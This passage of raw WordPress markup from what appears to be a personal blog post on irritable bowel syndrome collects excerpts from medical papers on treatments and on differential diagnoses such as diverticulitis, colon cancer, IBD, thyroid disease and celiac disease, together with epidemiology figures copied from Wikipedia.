controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fecal transplant</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results vary really widely. Worth a shot if you\'re desperate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/\">Efficacy of Fecal Microbiota Transplantation in Irritable Bowel Syndrome: A Systematic Review and Meta-Analysis (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis threw out half the studies for not being well-performed. The rest are presented below. Note that two of them show a big positive effect, and two of them do not. The two negative ones did capsule, the two positive ones did colonoscopy and nasojejunal tubes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/bin/nihms-1581604-f0002.jpg\" alt=\"An external file that holds a picture, illustration, etc.\nObject name is nihms-1581604-f0002.jpg\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a 